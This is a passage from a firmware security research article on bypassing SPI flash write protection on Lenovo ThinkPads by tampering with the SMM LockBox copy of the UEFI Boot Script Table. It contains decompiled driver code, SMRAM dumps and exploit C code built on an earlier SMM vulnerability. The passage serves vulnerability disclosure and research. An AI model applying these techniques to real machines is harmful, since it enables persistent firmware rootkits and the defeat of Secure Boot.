In addition to BIOS_CNTL, modern Lenovo computers also use SPI Protected Ranges (aka PRx) flash write protection, so, in this article I will present my generic exploitation technique that allows to bypass PRx and turn arbitrary SMM code execution vulnerability into the flash write protection bypass exploit. This technique also can be applied to UEFI compatible computers of other manufacturers — they all use similar design of specific firmware features that responsible for platform security.
In second part of the article I will present a new 0day vulnerability in Lenovo firmware that allows arbitrary SMM code execution on a wide range of Lenovo models and firmware versions including the most recent ones. Exploitation of this vulnerability may lead to the flash write protection bypass, disabling of UEFI Secure Boot, Virtual Secure Mode and Credential Guard bypass in Windows 10 Enterprise and other evil things.
My test platform: ThinkPad T450s |
Security mechanisms of Intel platforms
When someone decides to design a reliable firmware rootkit for modern platforms that can be installed to the flash in software-only way he have to deal with the following main mechanisms which make this task a quite difficult to solve:
- BIOS_CNTL register of Platform Controller Hub (PCH) that accessible via PCI configuration space — one the oldest flash write protection feature that was introduced a long time ago. This register has BIOS Write Enable bit (BIOSWE) — when it’s clear only read access to the flash is allowed. BIOS Lock Enable bit (BLE) enables raising of System Management Interrupt (SMI) on every attempt to set BIOSWE. Once BLE bit is set — it can’t be modified till the next platform reset. Modern UEFI compatible firmwares usually set BIOSWE bit to zero and BLE bit to one during platform initialisation, in addition with SMM_BWP bit of the same register it allows to block write access to the flash from non-SMM code.
- SPI Protected Ranges (PRx) — newer althernative flash write protection mechanism. It has some advantages over BIOS_CNTL: possibility to set write protection only on some certain parts of the flash chip (which is very useful for OEM’s which want to use single flash chip for firmware code and NVRAM), and the fact that PRx works independently from SMM code, so, in theory it allows to protect the flash chip even from unauthorized modifications by attacker who has access to System Management Mode.
- Boot Guard — relatively new feature of Intel processors that was designed to solve a bit different task, prevent execution of unauthorized firmware code even if attacker managed to write it to the flash. Boot Guard uses public part of Intel key fused into the CPU to verify digital signature of early stage firmware code before it’s execution, this code must verify the rest part of the platform firmware to make Boot Guard have a sense. There was a lot of public discussions around this feature because de-facto it prohibits customers to use open source platform firmware like coreboot.
Boot Guard is out of scope of this article — it deserves a separate research. Also there’s almost no information about Boot Guard support in mass market computers. At this moment there aren't any official or unofficial specifications on Boot Guard itself, Intel released only very brief description that doesn’t even provide enough of information to check if your platform has active Boot Guard. In "How many million BIOSes would you like to infect?" whitepaper LegbaCore claims that Boot Guard support is present at least in following ThinkPad laptops: T440, T440p, T440s, T440u, T450, T450s, T540, T540p, T550, W540, W541, W550s, X1 Carbon (20Ax and 20Bx), X240, X240s, X250 and Yoga 15 / S5 Yoga. Last generation ThinkPad models are shipped with Skylake microarchitecture chips which are available at the market and likely have enabled Boot Guard.
SPI Protected Ranges flash write protection
SPI Protected Ranges are configurable via memory mapped registers of SPI Host Interface which belongs to Root Complex Register Block (RCRB), a special set of registers that used to configure so called Root Complex — device that connects CPU and memory subsystem with PCI Express switch fabric. On modern Intel processors Root Complex is integrated into the CPU.
Different chipsets might have different location of Root Complex Register Block. My ThinkPad T450s uses 8 series Intel chipsets, so, I will use the following datasheets as information source:
- "Intel® 8 Series/C220 Series Chipset Family Platform Controller Hub (PCH) Datasheet"
- "Desktop 4th Generation Intel® CoreTM Processor Family Datasheet"
The SPI Host Interface registers are memory-mapped in the RCRB with base address SPIBAR that has constant value of 0x3800 and are located within the range of 0x3800 - 0x39ff. There are 5 SPI Protected Range registers (PR0-PR4) in total, each of them is 4 bytes of length and first one is located at offset 0x74 from the beginning of SPI Host Interface registers region:
Hardware Sequencing Flash Status Register (HSFS) that located at offset 0x04 from the beginning of the SPI Host Interface registers region has FLOCKDN bit that allows to prevent PR0-PR4 registers value from modifications till the next platform reset. Usually, platform firmware sets this bit during platform initialisation:
CHIPSEC, platform security assessment framework from Intel, was already mentioned in my previous articles a lot of times. It has common.bios_wp module that allows to check current status of BIOS_CNTL and PR0-PR4 registers. Let’s check what values we have on ThinkPad T450s with 1.11 firmware version:
# python chipsec_main.py -m common.bios_wp ****** Chipsec Linux Kernel module is licensed under GPL 2.0 ################################################################ ## ## ## CHIPSEC: Platform Hardware Security Assessment Framework ## ## ## ################################################################ [CHIPSEC] Version 1.2.1 [CHIPSEC] Arguments: -m common.bios_wp ****** Chipsec Linux Kernel module is licensed under GPL 2.0 [CHIPSEC] OS : Linux 4.1.6 #1 SMP Sun Aug 23 19:27:36 2015 x86_64 [CHIPSEC] Platform: Mobile 5th Generation Core Processor (Broadwell M/H / Wildcat Point PCH) [CHIPSEC] VID: 8086 [CHIPSEC] DID: 1604 [+] loaded chipsec.modules.common.bios_wp [*] running loaded modules .. [*] running module: chipsec.modules.common.bios_wp [*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/common/bios_wp.pyc [x][ ======================================================================= [x][ Module: BIOS Region Write Protection [x][ ======================================================================= [*] BC = 0x2A << BIOS Control (b:d.f 00:31.0 + 0xDC) [00] BIOSWE = 0 << BIOS Write Enable [01] BLE = 1 << BIOS Lock Enable [02] SRC = 2 << SPI Read Configuration [04] TSS = 0 << Top Swap Status [05] SMM_BWP = 1 << SMM BIOS Write Protection [+] BIOS region write protection is enabled (writes restricted to SMM) [*] BIOS Region: Base = 0x00500000, Limit = 0x00FFFFFF SPI Protected Ranges ------------------------------------------------------------ PRx (offset) | Value | Base | Limit | WP? | RP? ------------------------------------------------------------ PR0 (74) | 00000000 | 00000000 | 00000000 | 0 | 0 PR1 (78) | 8FFF0EB0 | 00EB0000 | 00FFF000 | 1 | 0 PR2 (7C) | 8E2F0DF1 | 00DF1000 | 00E2F000 | 1 | 0 PR3 (80) | 8DF00DF0 | 00DF0000 | 00DF0000 | 1 | 0 PR4 (84) | 8DEF0A00 | 00A00000 | 00DEF000 | 1 | 0 [!] SPI protected ranges write-protect parts of BIOS region (other parts of BIOS can be modified) [+] PASSED: BIOS is write protected
As you can see — CHIPSEC reports that everything is fine, T450s firmware has properly configured BIOS_CNTL bits and also it defines two write protected regions of the flash chip located at address range 0xa00000 — 0xe2ffff (PR4, PR3, PR2) and 0xeb0000 — 0xffffff (PR1).
First of all, to break PRx flash write protection we need to have some code to determinate current values of PR0-PR4 registers. For this work I will use libfexpl library that was introduced in previous article, it’s API allows to do such things in relatively user friendly way.
Function that locates Root Complex Register Block and reads PR0-PR4 registers on 8 series Intel chipsets:
// SPI interface registers offset for RCRB #define SPIBAR 0x3800 // SPI protected range registers offsets for RCRB #define PR0 SPIBAR + 0x74 #define PR1 SPIBAR + 0x78 #define PR2 SPIBAR + 0x7C #define PR3 SPIBAR + 0x80 #define PR4 SPIBAR + 0x84 int pr_get( PUEFI_EXPL_TARGET target, unsigned long long *rcrb, unsigned int *pr0_val, unsigned int *pr1_val, unsigned int *pr2_val, unsigned int *pr3_val, unsigned int *pr4_val) { unsigned long long RCBA = 0; // get Root Complex Base Address register value if (!uefi_expl_pci_read(LPC_RCBA, U32, &RCBA)) { return -1; } // get Root Complex Register Block address unsigned long long rcrb_addr = RCBA & 0xffffc000; if (rcrb_addr == 0 || rcrb_addr > 0xfffff000) { return -1; } struct { unsigned long long addr; unsigned int *val; } pr_regs[] = { { rcrb_addr + PR0, pr0_val }, { rcrb_addr + PR1, pr1_val }, { rcrb_addr + PR2, pr2_val }, { rcrb_addr + PR3, pr3_val }, { rcrb_addr + PR4, pr4_val } }; for (int i = 0; i < 5; i += 1) { *pr_regs[i].val = 0; // read single PRx register if (phys_mem_read_val(target, (void *)pr_regs[i].addr, U32, pr_regs[i].val) != 0) { return -1; } } *rcrb = rcrb_addr; return 0; }
When FLOCKDN bit set it’s not possible to change PR0-PR4 registers values until the full reset, so, the most obvious weakness of the PRx flash write protection is the way of how exactly they are set by platform firmware during boot.
Besides normal boot path modern ACPI compatible computers firmware also implements a separate boot path for S3 resume that used when computer wakes up from S3 sleep — a special power state when the most of platform components are powered off (S4 and S5 resume are implemented in normal boot path, S1 and S2 resume is not used on most of Intel platforms). UEFI firmware has a special data structure called UEFI Boot Script Table that survives S3 sleep, it used to save platform registers values during normal boot path and restore them during S3 resume. Boot Script Table is stored in memory, so, if attacker is able to modify it from running operating system and trigger S3 suspend-resume — he will have a possibility to override the values of certain system registers that responsible for platform security. Firmware of some vendors doesn’t lock some of these certain registers before execution of Boot Script Table, flaws of this type are known as "UEFI Boot Script Table vulnerability" — I already wrote an article about it’s exploitation in normal conditions (i.e., from running operating system).
SMM LockBox and it’s place in S3 resume and normal boot path |
To protect platform from such attacks UEFI specification introduced a special mechanism called SMM LockBox, it used to store Boot Script Table in System Management RAM (SMRAM) — memory region that accessible only for SMM code of platform firmware but not for operating system that runs during runtime phase. EDK2 code base provides a reference implementation of SMM LockBox drivers, it’s detailed description can be found in document called "A Tour Beyond BIOS Implementing S3 Resume with EDKII". However, specific OEM or IBV may use their own SMM LockBox that has a lot of differences with reference code.
UEFI specification and Intel manual don't explain how exactly firmware developers should set PRx and other security sensitive hardware registers during S3 resume boot path, so, they have a several options:
- Make a special early stage UEFI driver that locks all of the necessary stuff before Boot Script Table execution. This way is the most secure one, but it’s also less convenient for developers because it puts it’s own limitations on the design of platform initialization code.
- Restore certain register values using Boot Script Table stored in SMM LockBox — this way is more easy to implement but it doesn’t help when SMM code is one of the parts your threat model.
Reverse engineering secure S3 resume boot path
Using my 1day exploit for Lenovo firmware vulnerability we easily can read or write a whole SMRAM contents. To play with UEFI Boot Script Table we need to know how exactly SMM LockBox driver stores it into the SMRAM, then we will able determinate it’s location from our own code.
SmmLockBox driver from EDK2 has constant LockBox GUID value (bd445d79-b7ad-4f04-9ad8-29bd2040eb3c) used in different structures. Let's load T450s firmware image into the UEFITool and do the search for this GUID:
SmmLockBox UEFI driver that was found with the help of UEFITool |
Apparently, we found a proper DXE driver that implements SMM LockBox functionality. Let’s dump it to the disk, load in IDA Pro and decompile PE image entry function:
EFI_STATUS __fastcall start(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) { EFI_SYSTEM_TABLE *v2; // rbx@1 EFI_HANDLE v3; // rdi@1 __int64 v4; // rax@1 EFI_STATUS v5; // esi@1 v2 = SystemTable; v3 = ImageHandle; // initialize gST, gBS and other global variables sub_3F0(ImageHandle, SystemTable); v4 = sub_42C(v3, v2); v5 = v4; if (v4 < 0) { nullsub_1(); } return v5; }
Function sub_3F0() is responsible for statically linked runtime, like initialization of gST, gBS, etc. global variables and other things. Functions sub_42C() and sub_77C() perform initialization of SMM LockBox:
int __fastcall sub_42C(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) { return sub_77C(ImageHandle); } int __fastcall sub_77C(EFI_HANDLE ImageHandle) { __int64 v1; // rax@1 int v2; // ebx@1 __int64 v3; // rax@4 __int64 v4; // r9@7 EFI_SMM_BASE_PROTOCOL *SmmBaseProtocol; // [sp+30h] [bp-20h]@1 EFI_SMM_ACCESS_PROTOCOL *SmmAccessProtocol; // [sp+38h] [bp-18h]@7 __int64 v8; // [sp+40h] [bp-10h]@3 EFI_HANDLE v9; // [sp+70h] [bp+20h]@1 char v10; // [sp+80h] [bp+30h]@2 unsigned __int64 v11; // [sp+88h] [bp+38h]@7 v9 = ImageHandle; v1 = gBS->LocateProtocol(&gEfiSmmBaseProtocolGuid, 0, &SmmBaseProtocol); v2 = 0; if (v1 >= 0) { // determine whether driver was loaded into SMRAM SmmBaseProtocol->InSmm(SmmBaseProtocol, &v10); if (v10) { // locate EFI_SMM_SYSTEM_TABLE SmmBaseProtocol->GetSmstLocation(SmmBaseProtocol, &gSMST); gRT->SetVariable(L"Smst", gEfiSmmLockBoxCommunicationGuid, 3); // locate EFI_SMM_ACCESS_PROTOCOL gBS->LocateProtocol(&gEfiSmmAccessProtocolGuid, 0, &SmmAccessProtocol); v11 = 0; // get SMRAM address SmmAccessProtocol->GetCapabilities(SmmAccessProtocol, &v11, 0); gSMST->SmmAllocatePool(6, v11, &qword_F68); SmmAccessProtocol->GetCapabilities(SmmAccessProtocol, &v11, 0); LOBYTE(v4) = 1; qword_F70 = v11 >> 5; // register sub_674() as SMM callback SmmBaseProtocol->RegisterCallback(SmmBaseProtocol, 0xF9E9662B, sub_674, v4); // ... } else { // ... } } return v1; }
As you can see, this module is implementing a typical SMM/DXE combined UEFI driver — I already explained how they work in my previous article "Building reliable SMM backdoor for UEFI based platforms". In a few words, firmware code loads this driver two times — as normal DXE driver and as SMM driver that runs from SMRAM. InSmm() function of EFI_SMM_BASE_PROTOCOL is used by driver code to determine how exactly it was loaded.
If SMM LockBox driver is running in SMM it’s code performs some basic SMM specific initializations like obtaining EFI_SMM_SYSTEM_TABLE address, obtaining needed SMM protocols, some pool memory allocation, etc. The interesting thing — registration of SMM callback with RegisterCallback() function of EFI_SMM_BASE_PROTOCOL. DXE state code can communicate with this callback (apparently, it responsible for accessing Boot Script Table stored in SMM LockBox) with Communicate() function of the same protocol. Let’s check the callback code:
__int64 __fastcall sub_674(EFI_HANDLE ImageHandle, void *Buff, unsigned __int64 *BuffSize) { unsigned __int64 *v3; // rdi@1 void *v4; // rsi@1 char *v5; // rbx@3 unsigned __int64 v6; // rdi@4 int v7; // eax@7 v3 = BuffSize; v4 = Buff; if (Buff) { if (BuffSize) { v5 = (char *)Buff + 24; // // Check if caller buffer contains specific GUID at offset 24. // It allows to prevent arbitrary memory overwrite vulnerabilities. // if (_compare_guid(Buff + 24, &byte_2A0)) { v6 = *v3; if (v6 >= 0x20 && (unsigned __int64)v4 <= 0xFFFFFFFFFFFFFFFF - v6 && !sub_438()) { // get SMM lockbox command value v7 = *((_DWORD *)v5 + 4); *((_QWORD *)v5 + 3) = 0xFFFFFFFFFFFFFFFF; switch (v7) { case 1: // EFI_SMM_LOCK_BOX_COMMAND_SAVE if (v6 >= 0x40) sub_498(v5); break; case 2: // EFI_SMM_LOCK_BOX_COMMAND_UPDATE if (v6 >= 0x48) sub_56C(v5); break; case 3: // EFI_SMM_LOCK_BOX_COMMAND_RESTORE if (v6 >= 0x40) sub_5F4(v5); break; case 4: // EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES if (v6 >= 0x38) sub_51C(v5); break; case 5: // EFI_SMM_LOCK_BOX_COMMAND_RESTORE_ALL_IN_PLACE *((_QWORD *)v5 + 3) = sub_EB0(); break; case -1: byte_F20 = 1; *((_QWORD *)v5 + 3) = 0; break; } *((_DWORD *)v5 + 4) = -1; } } } } return 0; }
The first interesting thing that happens in this function — it compares data at offset 0x18 from the beginning of the buffer that address was passed to EFI_SMM_BASE_PROTOCOL.Communicate() by callback caller with some GUID value that was hardcoded into the driver code. This simple trick implements primitive filtering of input arguments: let’s imagine that there’s SMM callback function that writes some data to buffer address that was passed by caller, with hardcoded GUID comparsion attacker will not be able to use such behaviour to overwrite arbitrary memory that he doesn’t control (for example SMRAM) — memory at target address must contain a magic constant value. If you will check SMM LockBox callback implementation from EDK2 you will find the following code that solves a similar task in SmmLockBoxHandler() function of SmmLockBox.c:
EFI_STATUS EFIAPI SmmLockBoxHandler ( IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL) { EFI_SMM_LOCK_BOX_PARAMETER_HEADER *LockBoxParameterHeader; UINTN TempCommBufferSize; DEBUG ((EFI_D_ERROR, "SmmLockBox SmmLockBoxHandler Enter\n")); // // If input is invalid, stop processing this SMI // if (CommBuffer == NULL || CommBufferSize == NULL) { return EFI_SUCCESS; } TempCommBufferSize = *CommBufferSize; // // Sanity check // if (TempCommBufferSize < sizeof(EFI_SMM_LOCK_BOX_PARAMETER_HEADER)) { DEBUG ((EFI_D_ERROR, "SmmLockBox Command Buffer Size invalid!\n")); return EFI_SUCCESS; } if (!SmmIsBufferOutsideSmmValid ((UINTN)CommBuffer, TempCommBufferSize)) { DEBUG ((EFI_D_ERROR, "SmmLockBox Command Buffer in SMRAM or overflow!\n")); return EFI_SUCCESS; } // do the rest of the stuff // ... return EFI_SUCCESS; }
Obviously, Intel approach is much more adequate — it doesn’t rely on any magic values like Lenovo one does (attacker is still able to overwrite some small subset of memory locations that actually begin with the same bytes as hardcoded GUID that SMM callback checks for).
Second interesting thing from sub_674() decompiled code — it definitely implements a switch-case that used to dispatch SMM LockBox commands very similar to EFI_SMM_LOCK_BOX_COMMAND_SAVE, EFI_SMM_LOCK_BOX_COMMAND_UPDATE, EFI_SMM_LOCK_BOX_COMMAND_RESTORE, EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES and EFI_SMM_LOCK_BOX_COMMAND_RESTORE_ALL_IN_PLACE which can be found in SmmLockBoxHandler() function of EDK2 mentioned above.
Handler of EFI_SMM_LOCK_BOX_COMMAND_SAVE LockBox command, sub_498() function, is responsible for allocating SMRAM memory for Boot Script Table data and storing it there:
signed __int64 __fastcall sub_498(__int64 a1) { __int64 v1; // rbx@1 signed __int64 result; // rax@3 char v3; // [sp+20h] [bp-48h]@1 char v4; // [sp+40h] [bp-28h]@3 _BYTE *v5; // [sp+50h] [bp-18h]@1 unsigned __int64 v6; // [sp+58h] [bp-10h]@1 v1 = a1; // copy structure EFI_SMM_LOCK_BOX_COMMAND_SAVE arguments to the stack memcpy(&v3, (_BYTE *)a1, 64); if ((unsigned __int64)v5 > -1 - v6 || nullsub()) { result = 0x800000000000000F; } else { // save caller specified bootscript data into the SMM lockbox result = sub_BE4(&v4, v5, v6); } *(_QWORD *)(v1 + 24) = result; return result; } signed __int64 __fastcall sub_BE4(_BYTE *a1, _BYTE *a2, unsigned __int64 a3) { EFI_LIST_ENTRY *v3; // rbx@1 unsigned __int64 v4; // rdi@1 _BYTE *v5; // r12@1 _BYTE *v6; // rsi@1 signed __int64 result; // rax@5 unsigned __int64 v8; // r13@6 __int64 v9; // rax@6 __int64 v10; // rax@8 __int64 v11; // rax@10 _QWORD *v12; // [sp+50h] [bp+30h]@4 _BYTE *v13; // [sp+68h] [bp+48h]@6 v3 = 0; v4 = a3; v5 = a2; v6 = a1; if (a1 && a2 && a3) { v12 = sub_B80(a1); if (v12) return 0x8000000000000014; // allocate memory for SMM lockbox data list entry v8 = ((v4 & 0xFFF) != 0) + (v4 >> 12); v9 = gSMST->SmmAllocatePages(0, 6, v8, &v13); if (v9 < 0) return 0x8000000000000009; // allocate memory for UEFI boot script table v10 = gSMST->SmmAllocatePool(6, 72, &v12); if (v10 < 0) { gSMST->SmmFreePages(v13, v8); return 0x8000000000000009; } // set up SMM lockbox data list entry fields memcpy(v13, v5, v4); *v12 = 'LOCKBOXD'; memcpy((_BYTE *)v12 + 8, v6, 16); v12[3] = v5; v12[4] = v4; v12[5] = 0; v12[6] = v13; // get UEFI configuration table entry with SMM lockbox data v11 = sub_9FC(); if (v11) v3 = *(EFI_LIST_ENTRY **)(v11 + 8); // append a new entry to the end of the SMM lockbox data list _list_entry_append(v3, (__int64)(v12 + 7)); result = 0; } else { result = 0x8000000000000002; } return result; }
The actual thing is happening in sub_BE4() function that allocates two areas of SMRAM memory. First one is allocated with EFI_SMM_SYSTEM_TABLE.SmmAllocatePages() call, it used to store a copy of Boot Script Table which address comes from SMM callback input. Second one is allocated with EFI_SMM_SYSTEM_TABLE.SmmAllocatePool() call, it used for structure that keeps Boot Script Table copy address and it’s size, 'LOCKBOXD' signature, etc. Then code calls sub_9FC() function to obtain some internal structure address with pointer to the EFI_LIST_ENTRY head and adds previously allocated lockbox structure to the double-linked list.
Let’s check function sub_9FC() code to determinate the actual location of double-linked list head:
__int64 sub_9FC() { EFI_SMM_SYSTEM_TABLE *v0; // rax@1 EFI_CONFIGURATION_TABLE *v1; // rbx@1 __int64 v2; // rdi@2 __int64 result; // rax@5 v0 = gSMST; v1 = 0; if (gSMST->NumberOfTableEntries) { v2 = 0; while (!_compare_guid(v2 + v0->SmmConfigurationTable, gEfiSmmLockBoxCommunicationGuid)) { v2 += 24; v1 += 1; if (v1 >= gSMST->NumberOfTableEntries) { goto LABEL_5; } } result = gSMST->SmmConfigurationTable[v1].VendorTable; } else { LABEL_5: result = 0; } return result; }
As you can see, the code is looking for EFI_CONFIGURATION_TABLE structure that describes UEFI SMM configuration table entry with LockBox specific data by constant GUID. This configuration table was allocated in sub_A74() function that was called previously during driver initialization:
int __fastcall sub_A74(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) { EFI_HANDLE v2; // rdi@1 __int64 v3; // rax@1 int v4; // ebx@1 __int64 v5; // rax@4 __int64 v7; // [sp+30h] [bp-18h]@3 char v8; // [sp+60h] [bp+18h]@2 EFI_SMM_BASE_PROTOCOL *SmmBaseProtocol; // [sp+68h] [bp+20h]@1 v2 = ImageHandle; // get EFI_SMM_BASE_PROTOCOL address v3 = gBS->LocateProtocol(&gEfiSmmBaseProtocolGuid, 0, &SmmBaseProtocol); v4 = 0; if (v3 >= 0) { // check if we running in SMM SmmBaseProtocol->InSmm(SmmBaseProtocol, &v8); if (v8) { // get EFI_SMM_SYSTEM_TABLE address SmmBaseProtocol->GetSmstLocation(SmmBaseProtocol, &gSMST); // this function returns UEFI configuration table address if it's already present if (sub_9FC()) { v3 = 0; } else { qword_F50 = 'LOCKB_64'; qword_F58 = &stru_2F0; // install UEFI configuration table to store SMM LockBox specific data v3 = gSMST->SmmInstallConfigurationTable( gSMST, gEfiSmmLockBoxCommunicationGuid, &qword_F50, 0x10 ); } } else { // ... } } return v3; }
This UEFI SMM configuration table with pointer to the double-linked list head can be easily found using our own code thanks to the SMM LockBox GUID and constant signature 'LOCKB_64' at the beginning of the configuration table.
Let’s obtain SMRAM dump using my previous SMM 1day exploit (it has --smart-dump command line option), load it into the IDA and check how these structures actually look like:
Exploit successfully dumped SMRAM contents of T450s with firmware ver. 1.11 |
We easily can locate EFI_SMM_SYSTEM_TABLE in SMRAM by 'SMST' signature at it’s header, here’s the dump:
AD002290 dword_AD002290 dd 'TSMS' ; EFI_SMM_SYSTEM_TABLE header signature AD002294 dd 0 AD002298 dd 9 AD00229C dd 18h AD0022A0 dq 0 AD0022A8 dq 0 AD0022B0 dq 0 AD0022B8 dq offset loc_AD004B38 AD0022C0 gEfiSmmCpuIoGuid dd 5F439A0Bh ; Data1 AD0022C0 dw 45D8h ; Data2 AD0022C0 dw 4682h ; Data3 AD0022C0 db 0A4h, 0F4h, 0F0h, 57h, 6Bh, 51h, 34h, 41h ; Data4 AD0022D0 dq offset sub_AD0046F0 AD0022D8 dq offset sub_AD004740 AD0022E0 dq offset sub_AD004794 AD0022E8 dq offset sub_AD004874 AD0022F0 dq offset sub_AD0043E8 AD0022F8 dq offset sub_AD0044B4 AD002300 dq offset sub_AD00408C AD002308 dq offset sub_AD0041F8 AD002310 dq offset sub_AD003BB0 AD002318 qword_AD002318 dq 0 AD002320 qword_AD002320 dq 4 AD002328 dq offset byte_AD3F5010 AD002330 dq offset byte_AD3F4010 AD002338 dq 4 ; number of currently installed configuration tables AD002340 dq offset gEfiSmmLockBoxCommunicationGuid ; configuration table list AD002348 off_AD002348 dq offset off_AD3C8E90 AD002350 dq offset byte_AD238490 AD002358 off_AD002358 dq offset byte_AD006000AD002358 AD002360 off_AD002360 dq offset byte_AD006000
At the end of the EFI_SMM_SYSTEM_TABLE you can find a number of currently installed UEFI SMM configuration tables and pointer to the array of EFI_CONFIGURATION_TABLE structures. Configuration table array with 4 entries (first one belongs to the SMM LockBox):
AD1D9D90 gEfiSmmLockBoxCommunicationGuid dd 2A3CFEBDh ; VendorGuid.Data1 AD1D9D90 dw 27E8h ; VendorGuid.Data2 AD1D9D90 dw 4D0Ah ; VendorGuid.Data3 AD1D9D90 db 8Bh, 79h, D6h, 88h, C2h, A3h, E1h, C0h ; VendorGuid.Data4 AD1D9D90 dq offset qword_AD3C8E10 ; VendorTable — SMM lockbox table AD1D9DA8 dd 0FB4672BBh ; VendorGuid.Data1 AD1D9DA8 dw 7185h ; VendorGuid.Data2 AD1D9DA8 dw 41E2h ; VendorGuid.Data3 AD1D9DA8 db 89h, 86h, B2h, 83h, F1h, 12h, 64h, 26h ; VendorGuid.Data4 AD1D9DA8 dq offset off_AD2E5750 ; VendorTable AD1D9DC0 dd 0CB517B04h ; VendorGuid.Data1 AD1D9DC0 dw 8382h ; VendorGuid.Data2 AD1D9DC0 dw 41E1h ; VendorGuid.Data3 AD1D9DC0 db AAh, 23h, 85h, C8h, 97h, C6h, 33h, D4h ; VendorGuid.Data4 AD1D9DC0 dq offset off_AD219690 ; VendorTable AD1D9DD8 dd 661CEF90h ; VendorGuid.Data1 AD1D9DD8 dw 1521h ; VendorGuid.Data2 AD1D9DD8 dw 11DEh ; VendorGuid.Data3 AD1D9DD8 db 8Ch, 30h, 08h, 00h, 20h, 0Ch, 9Ah, 66h ; VendorGuid.Data4 AD1D9DD8 dq offset off_AD2F5710 ; VendorTable
Vendor table of SMM LockBox configuration table is located at 0xad3c8e10 address, signature 'LOCKB_64' was seen before in the driver code:
AD3C8E10 qword_AD3C8E10 dq '46_BKCOL' ; SMM lockbox table signature AD3C8E18 dq offset stru_AD3A92F0 ; pointer to EFI_LIST_ENTRY of list head
SMM LockBox data double-linked list head is located inside LockBox driver image at address 0xad3a92f0:
AD3A92F0 ; EFI_LIST_ENTRY stru_AD3A92F0 AD3A92F0 stru_AD3A92F0 EFI_LIST_ENTRY <offset stru_ad2e55c8, offset stru_ad34cdc8>
One of the list entries at address 0xad34cdc8 contains Boot Script Table information structure with 'LOCKBOXD' signature:
AD34CD90 dq 'DXOBKCOL' AD34CD98 dd 9FF110E7h ; Data1 AD34CD98 dw 0DC36h ; Data2 AD34CD98 dw 4A4Ch ; Data3 AD34CD98 db 0B4h, 0E2h, 91h, 53h, 0D4h, 0BEh, 0C3h, 0BDh ; Data4 AD34CDA8 dq 0ACC9F000h AD34CDB0 dq 7E12h ; boot script table size in bytes AD34CDB8 dq 1 AD34CDC0 dq offset unk_AD1C1000 ; boot script table address AD34CDC8 ; EFI_LIST_ENTRY stru_AD34CDC8 AD34CDC8 stru_AD34CDC8 EFI_LIST_ENTRY <offset stru_ad2e55c8, offset stru_ad3a92f0>
SMRAM copy of Boot Script Table is located at 0xad1c1000 address and has 0x7e12 bytes of length:
AD1C1000 unk_AD1C1000 db 0AAh ; 2-byte boot script table header AD1C1001 db 0 AD1C1002 db 0Dh ; table entry size AD1C1003 db 0 ; table entry opcode ...
This structure begins with 0xaa signature as well as the Boot Script Table used in EDK2 implementation of S3 resume boot path. However, the Boot Script Table format is significantly different from other format that I have seen previously (apparently, this one was optimized to make it smaller because SMRAM memory is limited system resource).
Breaking SMM LockBox to disable PRx flash write protection
I decided to implement functionality that reads and writes Boot Script Table stored in SMM LockBox on the top of my previous 1day exploit for Lenovo SMM callout vulnerability. Source file application.cpp already has phys_mem_read() and phys_mem_write() functions that exploit the vulnerability to read or write physical memory from System Management Mode — it should be enough for our purposes.
First of all, we need implement the function that finds VendorTable of specific EFI_CONFIGURATION_TABLE by it’s GUID. Function smst_addr() is used to find an actual address of EFI_SMM_SYSTEM_TABLE by table header signature:
// check for valid SMRAM pointer #define IS_SMRAM_PTR(_val_) ((unsigned long long)(_val_) >= TSEG && \ (unsigned long long)(_val_) < TSEG + SMRAM_SIZE) // offset of the EFI_SMM_SYSTEM_TABLE2::NumberOfTableEntries and SmmConfigurationTable #define EFI_SMM_SYSTEM_TABLE2_NumberOfTableEntries 0xa8 #define EFI_SMM_SYSTEM_TABLE2_SmmConfigurationTable 0xb0 typedef struct { GUID VendorGuid; void *VendorTable; } EFI_CONFIGURATION_TABLE; unsigned long long configuration_table_addr(PUEFI_EXPL_TARGET target, GUID *guid) { unsigned long long ret = 0, table_addr = 0, table_entries = 0; // get EFI_SMM_SYSTEM_TABLE address unsigned long long smst = smst_addr(target); if (smst == 0) { return 0; } unsigned long long TSEG = smst & ~(unsigned long long)(SMRAM_SIZE - 1); // read NumberOfTableEntries value if (phys_mem_read( target, (void *)(smst + EFI_SMM_SYSTEM_TABLE2_NumberOfTableEntries), sizeof(unsigned long long), (unsigned char *)&table_entries, NULL) != 0) { return 0; } // read SmmConfigurationTable pointer if (phys_mem_read( target, (void *)(smst + EFI_SMM_SYSTEM_TABLE2_SmmConfigurationTable), sizeof(unsigned long long), (unsigned char *)&table_addr, NULL) != 0) { return 0; } if (!IS_SMRAM_PTR(table_addr)) { return 0; } for (unsigned long long i = 0; i < table_entries; i += 1) { EFI_CONFIGURATION_TABLE table_entry; // read configuration table entry if (phys_mem_read( target, (void *)(table_addr + i * sizeof(EFI_CONFIGURATION_TABLE)), sizeof(EFI_CONFIGURATION_TABLE), (unsigned char *)&table_entry, NULL) != 0) { return 0; } // match GUID if (!memcmp(&table_entry.VendorGuid, guid, sizeof(GUID))) { if (!IS_SMRAM_PTR(table_entry.VendorTable)) { return 0; } // return vendor specific table address return (unsigned long long)table_entry.VendorTable; } } return ret; }
To make my code more reliable I made a simple macro IS_SMRAM_PTR() — it used to validate all of the pointers readed from SMRAM — it helps to prevent unexpected crashes on unknown/unsupported firmware versions that may have different layout of certain SMM structures.
Now we can write another function that locates UEFI SMM configuration table of LockBox and parses it’s data to determine location of Boot Script Table copy stored in SMRAM:
